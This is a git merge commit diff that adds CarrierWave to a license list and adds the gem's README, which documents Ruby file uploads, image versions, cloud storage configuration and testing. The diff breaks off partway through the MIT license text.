Merge branch 'master' into feature/vuln-info
commit
374b5b86f7
|
@ -1032,6 +1032,7 @@ MIT
|
||||||
* activeresource - Copyright (c) 2006-2011 David Heinemeier Hansson
|
* activeresource - Copyright (c) 2006-2011 David Heinemeier Hansson
|
||||||
* activesupport - Copyright (c) 2005-2011 David Heinemeier Hansson
|
* activesupport - Copyright (c) 2005-2011 David Heinemeier Hansson
|
||||||
* authlogic - Copyright (c) 2011 Ben Johnson of Binary Logic
|
* authlogic - Copyright (c) 2011 Ben Johnson of Binary Logic
|
||||||
|
* carrierwave - Copyright (c) 2008-2012 Jonas Nicklas
|
||||||
* chunky_png - Copyright (c) 2010 Willem van Bergen
|
* chunky_png - Copyright (c) 2010 Willem van Bergen
|
||||||
* daemons - Copyright (c) 2005-2012 Thomas Uehlinger
|
* daemons - Copyright (c) 2005-2012 Thomas Uehlinger
|
||||||
* diff-lcs - Copyright 2004–2011 Austin Ziegler
|
* diff-lcs - Copyright 2004–2011 Austin Ziegler
|
||||||
|
|
|
@ -0,0 +1,785 @@
|
||||||
|
# CarrierWave
|
||||||
|
|
||||||
|
This gem provides a simple and extremely flexible way to upload files from Ruby applications.
|
||||||
|
It works well with Rack based web applications, such as Ruby on Rails.
|
||||||
|
|
||||||
|
[![Build Status](https://secure.travis-ci.org/jnicklas/carrierwave.png)](http://travis-ci.org/jnicklas/carrierwave)
|
||||||
|
|
||||||
|
## Information
|
||||||
|
|
||||||
|
* RDoc documentation [available on RubyDoc.info](http://rubydoc.info/gems/carrierwave/frames)
|
||||||
|
* Source code [available on GitHub](http://github.com/jnicklas/carrierwave)
|
||||||
|
* More information, known limitations, and how-tos [available on the wiki](https://github.com/jnicklas/carrierwave/wiki)
|
||||||
|
|
||||||
|
## Getting Help
|
||||||
|
|
||||||
|
* Please ask the [Google Group](http://groups.google.com/group/carrierwave) for help if you have any questions.
|
||||||
|
* Please report bugs on the [issue tracker](http://github.com/jnicklas/carrierwave/issues) but read the "getting help" section in the wiki first.
|
||||||
|
|
||||||
|
## Installation
|
||||||
|
|
||||||
|
Install the latest stable release:
|
||||||
|
|
||||||
|
[sudo] gem install carrierwave
|
||||||
|
|
||||||
|
In Rails, add it to your Gemfile:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
gem 'carrierwave'
|
||||||
|
```
|
||||||
|
|
||||||
|
Note that CarrierWave is not compatible with Rails 2 as of version 0.5. If you want to use
|
||||||
|
Rails 2, please use the 0.4-stable branch on GitHub.
|
||||||
|
|
||||||
|
## Getting Started
|
||||||
|
|
||||||
|
Start off by generating an uploader:
|
||||||
|
|
||||||
|
rails generate uploader Avatar
|
||||||
|
|
||||||
|
this should give you a file in:
|
||||||
|
|
||||||
|
app/uploaders/avatar_uploader.rb
|
||||||
|
|
||||||
|
Check out this file for some hints on how you can customize your uploader. It
|
||||||
|
should look something like this:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class AvatarUploader < CarrierWave::Uploader::Base
|
||||||
|
storage :file
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
You can use your uploader class to store and retrieve files like this:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
uploader = AvatarUploader.new
|
||||||
|
|
||||||
|
uploader.store!(my_file)
|
||||||
|
|
||||||
|
uploader.retrieve_from_store!('my_file.png')
|
||||||
|
```
|
||||||
|
|
||||||
|
CarrierWave gives you a `store` for permanent storage, and a `cache` for
|
||||||
|
temporary storage. You can use different stores, including filesystem
|
||||||
|
and cloud storage.
|
||||||
|
|
||||||
|
Most of the time you are going to want to use CarrierWave together with an ORM.
|
||||||
|
It is quite simple to mount uploaders on columns in your model, so you can
|
||||||
|
simply assign files and get going:
|
||||||
|
|
||||||
|
### ActiveRecord
|
||||||
|
|
||||||
|
Make sure you are loading CarrierWave after loading your ORM, otherwise you'll
|
||||||
|
need to require the relevant extension manually, e.g.:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
require 'carrierwave/orm/activerecord'
|
||||||
|
```
|
||||||
|
|
||||||
|
Add a string column to the model you want to mount the uploader on:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
add_column :users, :avatar, :string
|
||||||
|
```
|
||||||
|
|
||||||
|
Open your model file and mount the uploader:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class User < ActiveRecord::Base
|
||||||
|
mount_uploader :avatar, AvatarUploader
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
Now you can cache files by assigning them to the attribute, they will
|
||||||
|
automatically be stored when the record is saved.
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
u = User.new
|
||||||
|
u.avatar = params[:file]
|
||||||
|
u.avatar = File.open('somewhere')
|
||||||
|
u.save!
|
||||||
|
u.avatar.url # => '/url/to/file.png'
|
||||||
|
u.avatar.current_path # => 'path/to/file.png'
|
||||||
|
u.avatar.identifier # => 'file.png'
|
||||||
|
```
|
||||||
|
|
||||||
|
### DataMapper, Mongoid, Sequel
|
||||||
|
|
||||||
|
Other ORM support has been extracted into separate gems:
|
||||||
|
|
||||||
|
* [carrierwave-datamapper](https://github.com/jnicklas/carrierwave-datamapper)
|
||||||
|
* [carrierwave-mongoid](https://github.com/jnicklas/carrierwave-mongoid)
|
||||||
|
* [carrierwave-sequel](https://github.com/jnicklas/carrierwave-sequel)
|
||||||
|
|
||||||
|
There are more extensions listed in [the wiki](https://github.com/jnicklas/carrierwave/wiki)
|
||||||
|
|
||||||
|
## Changing the storage directory
|
||||||
|
|
||||||
|
In order to change where uploaded files are put, just override the `store_dir`
|
||||||
|
method:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
def store_dir
|
||||||
|
'public/my/upload/directory'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
This works for the file storage as well as Amazon S3 and Rackspace Cloud Files.
|
||||||
|
Define `store_dir` as `nil` if you'd like to store files at the root level.
|
||||||
|
|
||||||
|
## Securing uploads
|
||||||
|
|
||||||
|
Certain file might be dangerous if uploaded to the wrong location, such as php
|
||||||
|
files or other script files. CarrierWave allows you to specify a white-list of
|
||||||
|
allowed extensions.
|
||||||
|
|
||||||
|
If you're mounting the uploader, uploading a file with the wrong extension will
|
||||||
|
make the record invalid instead. Otherwise, an error is raised.
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
def extension_white_list
|
||||||
|
%w(jpg jpeg gif png)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
### Filenames and unicode chars
|
||||||
|
|
||||||
|
Another security issue you should care for is the file names (see
|
||||||
|
[Ruby On Rails Security Guide](http://guides.rubyonrails.org/security.html#file-uploads)).
|
||||||
|
By default, CarrierWave provides only English letters, arabic numerals and '-+_.' symbols as
|
||||||
|
white-listed characters in the file name. If you want to support local scripts (Cyrillic letters, letters with diacritics and so on), you
|
||||||
|
have to override `sanitize_regexp` method. It should return regular expression which would match
|
||||||
|
all *non*-allowed symbols.
|
||||||
|
|
||||||
|
With Ruby 1.9 and higher you can simply write (as it has [Oniguruma](http://oniguruma.rubyforge.org/oniguruma/)
|
||||||
|
built-in):
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
CarrierWave::SanitizedFile.sanitize_regexp = /[^[:word:]\.\-\+]/
|
||||||
|
```
|
||||||
|
|
||||||
|
With Ruby 1.8 you have to manually specify all character ranges. For example, for files which may
|
||||||
|
contain Russian letters:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
CarrierWave::SanitizedFile.sanitize_regexp = /[^a-zA-Zа-яА-ЯёЁ0-9\.\-\+_]/u
|
||||||
|
```
|
||||||
|
|
||||||
|
Also make sure that allowing non-latin characters won't cause a compatibility issue with a third-party
|
||||||
|
plugins or client-side software.
|
||||||
|
|
||||||
|
## Setting the content type
|
||||||
|
|
||||||
|
If you care about the content type of your files and notice that it's not being set
|
||||||
|
as expected, you can configure your uploaders to use `CarrierWave::MimeTypes`.
|
||||||
|
This adds a dependency on the [mime-types](http://rubygems.org/gems/mime-types) gem,
|
||||||
|
but is recommended when using fog, and fog already has a dependency on mime-types.
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
require 'carrierwave/processing/mime_types'
|
||||||
|
|
||||||
|
class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
include CarrierWave::MimeTypes
|
||||||
|
|
||||||
|
process :set_content_type
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
## Adding versions
|
||||||
|
|
||||||
|
Often you'll want to add different versions of the same file. The classic
|
||||||
|
example is image thumbnails. There is built in support for this:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
include CarrierWave::RMagick
|
||||||
|
|
||||||
|
process :resize_to_fit => [800, 800]
|
||||||
|
|
||||||
|
version :thumb do
|
||||||
|
process :resize_to_fill => [200,200]
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
When this uploader is used, an uploaded image would be scaled to be no larger
|
||||||
|
than 800 by 800 pixels. A version called thumb is then created, which is scaled
|
||||||
|
and cropped to exactly 200 by 200 pixels. The uploader could be used like this:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
uploader = AvatarUploader.new
|
||||||
|
uploader.store!(my_file) # size: 1024x768
|
||||||
|
|
||||||
|
uploader.url # => '/url/to/my_file.png' # size: 800x600
|
||||||
|
uploader.thumb.url # => '/url/to/thumb_my_file.png' # size: 200x200
|
||||||
|
```
|
||||||
|
|
||||||
|
One important thing to remember is that process is called *before* versions are
|
||||||
|
created. This can cut down on processing cost.
|
||||||
|
|
||||||
|
It is possible to nest versions within versions:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
|
||||||
|
version :animal do
|
||||||
|
version :human
|
||||||
|
version :monkey
|
||||||
|
version :llama
|
||||||
|
end
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
### Conditional versions
|
||||||
|
|
||||||
|
Occasionally you want to restrict the creation of versions on certain
|
||||||
|
properties within the model or based on the picture itself.
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
|
||||||
|
version :human, :if => :is_human?
|
||||||
|
version :monkey, :if => :is_monkey?
|
||||||
|
version :banner, :if => :is_landscape?
|
||||||
|
|
||||||
|
protected
|
||||||
|
|
||||||
|
def is_human? picture
|
||||||
|
model.can_program?(:ruby)
|
||||||
|
end
|
||||||
|
|
||||||
|
def is_monkey? picture
|
||||||
|
model.favorite_food == 'banana'
|
||||||
|
end
|
||||||
|
|
||||||
|
def is_landscape? picture
|
||||||
|
image = MiniMagick::Image.open(picture.path)
|
||||||
|
image[:width] > image[:height]
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
The `model` variable points to the instance object the uploader is attached to.
|
||||||
|
|
||||||
|
### Create versions from existing versions
|
||||||
|
|
||||||
|
For performance reasons, it is often useful to create versions from existing ones
|
||||||
|
instead of using the original file. If your uploader generates several versions
|
||||||
|
where the next is smaller than the last, it will take less time to generate from
|
||||||
|
a smaller, already processed image.
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
|
||||||
|
version :thumb do
|
||||||
|
process resize_to_fill: [280, 280]
|
||||||
|
end
|
||||||
|
|
||||||
|
version :small_thumb, :from_version => :thumb do
|
||||||
|
process resize_to_fill: [20, 20]
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
The option `:from_version` uses the file cached in the `:thumb` version instead
|
||||||
|
of the original version, potentially resulting in faster processing.
|
||||||
|
|
||||||
|
## Making uploads work across form redisplays
|
||||||
|
|
||||||
|
Often you'll notice that uploaded files disappear when a validation fails.
|
||||||
|
CarrierWave has a feature that makes it easy to remember the uploaded file even
|
||||||
|
in that case. Suppose your `user` model has an uploader mounted on `avatar`
|
||||||
|
file, just add a hidden field called `avatar_cache`. In Rails, this would look
|
||||||
|
like this:
|
||||||
|
|
||||||
|
```erb
|
||||||
|
<%= form_for @user, :html => {:multipart => true} do |f| %>
|
||||||
|
<p>
|
||||||
|
<label>My Avatar</label>
|
||||||
|
<%= f.file_field :avatar %>
|
||||||
|
<%= f.hidden_field :avatar_cache %>
|
||||||
|
</p>
|
||||||
|
<% end %>
|
||||||
|
````
|
||||||
|
|
||||||
|
It might be a good idea to show the user that a file has been uploaded, in the
|
||||||
|
case of images, a small thumbnail would be a good indicator:
|
||||||
|
|
||||||
|
```erb
|
||||||
|
<%= form_for @user, :html => {:multipart => true} do |f| %>
|
||||||
|
<p>
|
||||||
|
<label>My Avatar</label>
|
||||||
|
<%= image_tag(@user.avatar_url) if @user.avatar? %>
|
||||||
|
<%= f.file_field :avatar %>
|
||||||
|
<%= f.hidden_field :avatar_cache %>
|
||||||
|
</p>
|
||||||
|
<% end %>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Removing uploaded files
|
||||||
|
|
||||||
|
If you want to remove a previously uploaded file on a mounted uploader, you can
|
||||||
|
easily add a checkbox to the form which will remove the file when checked.
|
||||||
|
|
||||||
|
```erb
|
||||||
|
<%= form_for @user, :html => {:multipart => true} do |f| %>
|
||||||
|
<p>
|
||||||
|
<label>My Avatar</label>
|
||||||
|
<%= image_tag(@user.avatar_url) if @user.avatar? %>
|
||||||
|
<%= f.file_field :avatar %>
|
||||||
|
</p>
|
||||||
|
|
||||||
|
<p>
|
||||||
|
<label>
|
||||||
|
<%= f.check_box :remove_avatar %>
|
||||||
|
Remove avatar
|
||||||
|
</label>
|
||||||
|
</p>
|
||||||
|
<% end %>
|
||||||
|
```
|
||||||
|
|
||||||
|
If you want to remove the file manually, you can call <code>remove_avatar!</code>.
|
||||||
|
|
||||||
|
## Uploading files from a remote location
|
||||||
|
|
||||||
|
Your users may find it convenient to upload a file from a location on the Internet
|
||||||
|
via a URL. CarrierWave makes this simple, just add the appropriate attribute to your
|
||||||
|
form and you're good to go:
|
||||||
|
|
||||||
|
```erb
|
||||||
|
<%= form_for @user, :html => {:multipart => true} do |f| %>
|
||||||
|
<p>
|
||||||
|
<label>My Avatar URL:</label>
|
||||||
|
<%= image_tag(@user.avatar_url) if @user.avatar? %>
|
||||||
|
<%= f.text_field :remote_avatar_url %>
|
||||||
|
</p>
|
||||||
|
<% end %>
|
||||||
|
```
|
||||||
|
|
||||||
|
## Providing a default URL
|
||||||
|
|
||||||
|
In many cases, especially when working with images, it might be a good idea to
|
||||||
|
provide a default url, a fallback in case no file has been uploaded. You can do
|
||||||
|
this easily by overriding the `default_url` method in your uploader:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
def default_url
|
||||||
|
"/images/fallback/" + [version_name, "default.png"].compact.join('_')
|
||||||
|
end
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
## Recreating versions
|
||||||
|
|
||||||
|
You might come to a situation where you want to retroactively change a version
|
||||||
|
or add a new one. You can use the recreate_versions! method to recreate the
|
||||||
|
versions from the base file. This uses a naive approach which will re-upload and
|
||||||
|
process all versions.
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
instance = MyUploader.new
|
||||||
|
instance.recreate_versions!
|
||||||
|
```
|
||||||
|
|
||||||
|
Or on a mounted uploader:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
User.all.each do |user|
|
||||||
|
user.avatar.recreate_versions!
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
## Configuring CarrierWave
|
||||||
|
|
||||||
|
CarrierWave has a broad range of configuration options, which you can configure,
|
||||||
|
both globally and on a per-uploader basis:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
CarrierWave.configure do |config|
|
||||||
|
config.permissions = 0666
|
||||||
|
config.storage = :file
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
Or alternatively:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class AvatarUploader < CarrierWave::Uploader::Base
|
||||||
|
permissions 0777
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
If you're using Rails, create an initializer for this:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
config/initializers/carrierwave.rb
|
||||||
|
```
|
||||||
|
|
||||||
|
## Testing with CarrierWave
|
||||||
|
|
||||||
|
It's a good idea to test you uploaders in isolation. In order to speed up your
|
||||||
|
tests, it's recommended to switch off processing in your tests, and to use the
|
||||||
|
file storage. In Rails you could do that by adding an initializer with:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
if Rails.env.test? or Rails.env.cucumber?
|
||||||
|
CarrierWave.configure do |config|
|
||||||
|
config.storage = :file
|
||||||
|
config.enable_processing = false
|
||||||
|
end
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
If you need to test your processing, you should test it in isolation, and enable
|
||||||
|
processing only for those tests that need it.
|
||||||
|
|
||||||
|
CarrierWave comes with some RSpec matchers which you may find useful:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
require 'carrierwave/test/matchers'
|
||||||
|
|
||||||
|
describe MyUploader do
|
||||||
|
include CarrierWave::Test::Matchers
|
||||||
|
|
||||||
|
before do
|
||||||
|
MyUploader.enable_processing = true
|
||||||
|
@uploader = MyUploader.new(@user, :avatar)
|
||||||
|
@uploader.store!(File.open(path_to_file))
|
||||||
|
end
|
||||||
|
|
||||||
|
after do
|
||||||
|
MyUploader.enable_processing = false
|
||||||
|
@uploader.remove!
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'the thumb version' do
|
||||||
|
it "should scale down a landscape image to be exactly 64 by 64 pixels" do
|
||||||
|
@uploader.thumb.should have_dimensions(64, 64)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
context 'the small version' do
|
||||||
|
it "should scale down a landscape image to fit within 200 by 200 pixels" do
|
||||||
|
@uploader.small.should be_no_larger_than(200, 200)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
it "should make the image readable only to the owner and not executable" do
|
||||||
|
@uploader.should have_permissions(0600)
|
||||||
|
end
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
Setting the enable_processing flag on an uploader will prevent any of the versions from processing as well.
|
||||||
|
Processing can be enabled for a single version by setting the processing flag on the version like so:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
@uploader.thumb.enable_processing = true
|
||||||
|
```
|
||||||
|
|
||||||
|
## Using Amazon S3
|
||||||
|
|
||||||
|
[Fog](http://github.com/fog/fog) is used to support Amazon S3. Ensure you have it in your Gemfile:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
gem "fog", "~> 1.3.1"
|
||||||
|
```
|
||||||
|
|
||||||
|
You'll need to provide your fog_credentials and a fog_directory (also known as a bucket) in an initializer.
|
||||||
|
For the sake of performance it is assumed that the directory already exists, so please create it if need be.
|
||||||
|
You can also pass in additional options, as documented fully in lib/carrierwave/storage/fog.rb. Here's a full example:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
CarrierWave.configure do |config|
|
||||||
|
config.fog_credentials = {
|
||||||
|
:provider => 'AWS', # required
|
||||||
|
:aws_access_key_id => 'xxx', # required
|
||||||
|
:aws_secret_access_key => 'yyy', # required
|
||||||
|
:region => 'eu-west-1' # optional, defaults to 'us-east-1'
|
||||||
|
}
|
||||||
|
config.fog_directory = 'name_of_directory' # required
|
||||||
|
config.fog_host = 'https://assets.example.com' # optional, defaults to nil
|
||||||
|
config.fog_public = false # optional, defaults to true
|
||||||
|
config.fog_attributes = {'Cache-Control'=>'max-age=315576000'} # optional, defaults to {}
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
In your uploader, set the storage to :fog
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class AvatarUploader < CarrierWave::Uploader::Base
|
||||||
|
storage :fog
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
That's it! You can still use the `CarrierWave::Uploader#url` method to return the url to the file on Amazon S3.
|
||||||
|
|
||||||
|
## Using Rackspace Cloud Files
|
||||||
|
|
||||||
|
[Fog](http://github.com/fog/fog) is used to support Rackspace Cloud Files. Ensure you have it in your Gemfile:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
gem "fog", "~> 1.3.1"
|
||||||
|
```
|
||||||
|
|
||||||
|
You'll need to configure a directory (also known as a container), username and API key in the initializer.
|
||||||
|
For the sake of performance it is assumed that the directory already exists, so please create it if need be.
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
CarrierWave.configure do |config|
|
||||||
|
config.fog_credentials = {
|
||||||
|
:provider => 'Rackspace',
|
||||||
|
:rackspace_username => 'xxxxxx',
|
||||||
|
:rackspace_api_key => 'yyyyyy'
|
||||||
|
}
|
||||||
|
config.fog_directory = 'name_of_directory'
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
You can optionally include your CDN host name in the configuration.
|
||||||
|
This is *highly* recommended, as without it every request requires a lookup
|
||||||
|
of this information.
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
config.fog_host = "http://c000000.cdn.rackspacecloud.com"
|
||||||
|
```
|
||||||
|
|
||||||
|
In your uploader, set the storage to :fog
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class AvatarUploader < CarrierWave::Uploader::Base
|
||||||
|
storage :fog
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
That's it! You can still use the `CarrierWave::Uploader#url` method to return
|
||||||
|
the url to the file on Rackspace Cloud Files.
|
||||||
|
|
||||||
|
## Using Google Storage for Developers
|
||||||
|
|
||||||
|
[Fog](http://github.com/fog/fog) is used to support Google Storage for Developers. Ensure you have it in your Gemfile:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
gem "fog", "~> 1.3.1"
|
||||||
|
```
|
||||||
|
|
||||||
|
You'll need to configure a directory (also known as a bucket), access key id and secret access key in the initializer.
|
||||||
|
For the sake of performance it is assumed that the directory already exists, so please create it if need be.
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
CarrierWave.configure do |config|
|
||||||
|
config.fog_credentials = {
|
||||||
|
:provider => 'Google',
|
||||||
|
:google_storage_access_key_id => 'xxxxxx',
|
||||||
|
:google_storage_secret_access_key => 'yyyyyy'
|
||||||
|
}
|
||||||
|
config.fog_directory = 'name_of_directory'
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
In your uploader, set the storage to :fog
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class AvatarUploader < CarrierWave::Uploader::Base
|
||||||
|
storage :fog
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
That's it! You can still use the `CarrierWave::Uploader#url` method to return
|
||||||
|
the url to the file on Google.
|
||||||
|
|
||||||
|
## Dynamic Fog Host
|
||||||
|
|
||||||
|
The `fog_host` config property can be assigned a proc (or anything that responds to `call`) for generating the host dynamically. The proc-compliant object gets an instance of the current `CarrierWave::Storage::Fog::File` as its only argument.
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
CarrierWave.configure do |config|
|
||||||
|
config.fog_host = proc do |file|
|
||||||
|
identifier = # some logic
|
||||||
|
"http://#{identifier}.cdn.rackspacecloud.com"
|
||||||
|
end
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
## Using RMagick
|
||||||
|
|
||||||
|
If you're uploading images, you'll probably want to manipulate them in some way,
|
||||||
|
you might want to create thumbnail images for example. CarrierWave comes with a
|
||||||
|
small library to make manipulating images with RMagick easier, you'll need to
|
||||||
|
include it in your Uploader:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class AvatarUploader < CarrierWave::Uploader::Base
|
||||||
|
include CarrierWave::RMagick
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
The RMagick module gives you a few methods, like
|
||||||
|
`CarrierWave::RMagick#resize_to_fill` which manipulate the image file in some
|
||||||
|
way. You can set a `process` callback, which will call that method any time a
|
||||||
|
file is uploaded.
|
||||||
|
There is a demonstration of convert here.
|
||||||
|
Convert will only work if the file has the same file extension, thus the use of the filename method.
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class AvatarUploader < CarrierWave::Uploader::Base
|
||||||
|
include CarrierWave::RMagick
|
||||||
|
|
||||||
|
process :resize_to_fill => [200, 200]
|
||||||
|
process :convert => 'png'
|
||||||
|
|
||||||
|
def filename
|
||||||
|
super.chomp(File.extname(super)) + '.png'
|
||||||
|
end
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
Check out the manipulate! method, which makes it easy for you to write your own
|
||||||
|
manipulation methods.
|
||||||
|
|
||||||
|
## Using MiniMagick
|
||||||
|
|
||||||
|
MiniMagick is similar to RMagick but performs all the operations using the 'mogrify'
|
||||||
|
command which is part of the standard ImageMagick kit. This allows you to have the power
|
||||||
|
of ImageMagick without having to worry about installing all the RMagick libraries.
|
||||||
|
|
||||||
|
See the MiniMagick site for more details:
|
||||||
|
|
||||||
|
http://github.com/probablycorey/mini_magick
|
||||||
|
|
||||||
|
And the ImageMagick command line options for more for whats on offer:
|
||||||
|
|
||||||
|
http://www.imagemagick.org/script/command-line-options.php
|
||||||
|
|
||||||
|
Currently, the MiniMagick carrierwave processor provides exactly the same methods as
|
||||||
|
for the RMagick processor.
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class AvatarUploader < CarrierWave::Uploader::Base
|
||||||
|
include CarrierWave::MiniMagick
|
||||||
|
|
||||||
|
process :resize_to_fill => [200, 200]
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
## Migrating from Paperclip
|
||||||
|
|
||||||
|
If you are using Paperclip, you can use the provided compatibility module:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class AvatarUploader < CarrierWave::Uploader::Base
|
||||||
|
include CarrierWave::Compatibility::Paperclip
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
See the documentation for `CarrierWave::Compatibility::Paperclip` for more
|
||||||
|
details.
|
||||||
|
|
||||||
|
Be sure to use mount_on to specify the correct column:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
mount_uploader :avatar, AvatarUploader, :mount_on => :avatar_file_name
|
||||||
|
```
|
||||||
|
|
||||||
|
Unfortunately attachment_fu differs too much in philosophy for there to be a
|
||||||
|
sensible compatibility mode. Patches for migrating from other solutions will be
|
||||||
|
happily accepted.
|
||||||
|
|
||||||
|
## i18n
|
||||||
|
|
||||||
|
The Active Record validations use the Rails i18n framework. Add these keys to
|
||||||
|
your translations file:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
errors:
|
||||||
|
messages:
|
||||||
|
carrierwave_processing_error: 'Cannot resize image.'
|
||||||
|
carrierwave_integrity_error: 'Not an image.'
|
||||||
|
```
|
||||||
|
|
||||||
|
## Large files
|
||||||
|
|
||||||
|
By default, CarrierWave copies an uploaded file twice, first copying the file into the cache, then
|
||||||
|
copying the file into the store. For large files, this can be prohibitively time consuming.
|
||||||
|
|
||||||
|
You may change this behavior by overriding either or both of the `move_to_cache` and
|
||||||
|
`move_to_store` methods:
|
||||||
|
|
||||||
|
```ruby
|
||||||
|
class MyUploader < CarrierWave::Uploader::Base
|
||||||
|
def move_to_cache
|
||||||
|
true
|
||||||
|
end
|
||||||
|
def move_to_store
|
||||||
|
true
|
||||||
|
end
|
||||||
|
end
|
||||||
|
```
|
||||||
|
|
||||||
|
When the `move_to_cache` and/or `move_to_store` methods return true, files will be moved (instead of copied) to the cache and store respectively.
|
||||||
|
|
||||||
|
This has only been tested with the local filesystem store.
|
||||||
|
|
||||||
|
## Contributing to CarrierWave
|
||||||
|
|
||||||
|
CarrierWave thrives on a large number of [contributors](https://github.com/jnicklas/carrierwave/contributors),
|
||||||
|
and pull requests are very welcome. Before submitting a pull request, please make sure that your changes are well tested.
|
||||||
|
|
||||||
|
You'll need to install bundler and the gem dependencies:
|
||||||
|
|
||||||
|
gem install bundler
|
||||||
|
bundle install
|
||||||
|
|
||||||
|
You should now be able to run the local tests:
|
||||||
|
|
||||||
|
bundle exec rake
|
||||||
|
|
||||||
|
You can also run the remote specs by creating a ~/.fog file:
|
||||||
|
|
||||||
|
```yaml
|
||||||
|
:carrierwave:
|
||||||
|
:aws_access_key_id: xxx
|
||||||
|
:aws_secret_access_key: yyy
|
||||||
|
:rackspace_username: xxx
|
||||||
|
:rackspace_api_key: yyy
|
||||||
|
:google_storage_access_key_id: xxx
|
||||||
|
:google_storage_secret_access_key: yyy
|
||||||
|
```
|
||||||
|
|
||||||
|
You should now be able to run the remote tests:
|
||||||
|
|
||||||
|
REMOTE=true bundle exec rake
|
||||||
|
|
||||||
|
Please test with the latest Ruby 1.8.x and 1.9.x versions using RVM if possible.
|
||||||
|
|
||||||
|
## License
|
||||||
|
|
||||||
|
Copyright (c) 2008-2012 Jonas Nicklas
|
||||||
|
|
||||||
|
Permission is hereby granted, free of charge, to any person obtaining
|
||||||
|
a copy of this software and associated documentation files (the
|
||||||
|
"Software"), to deal in the Software without restriction, including
|
||||||
|
without limitation the rights to use, copy, modify, merge, publish,
|
||||||
|
distribute, sublicense, and/or sell copies of the Software, and to
|
||||||
|
permit persons to whom the Software is furnished to do so, subject to
|
||||||
|
the following conditions:
|
||||||
|
|
||||||
|
The above copyright notice and this permission notice shall be
|
||||||
|
included in all copies or substantial portions of the Software.
|
||||||
|
|
||||||
|
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
|
||||||
|
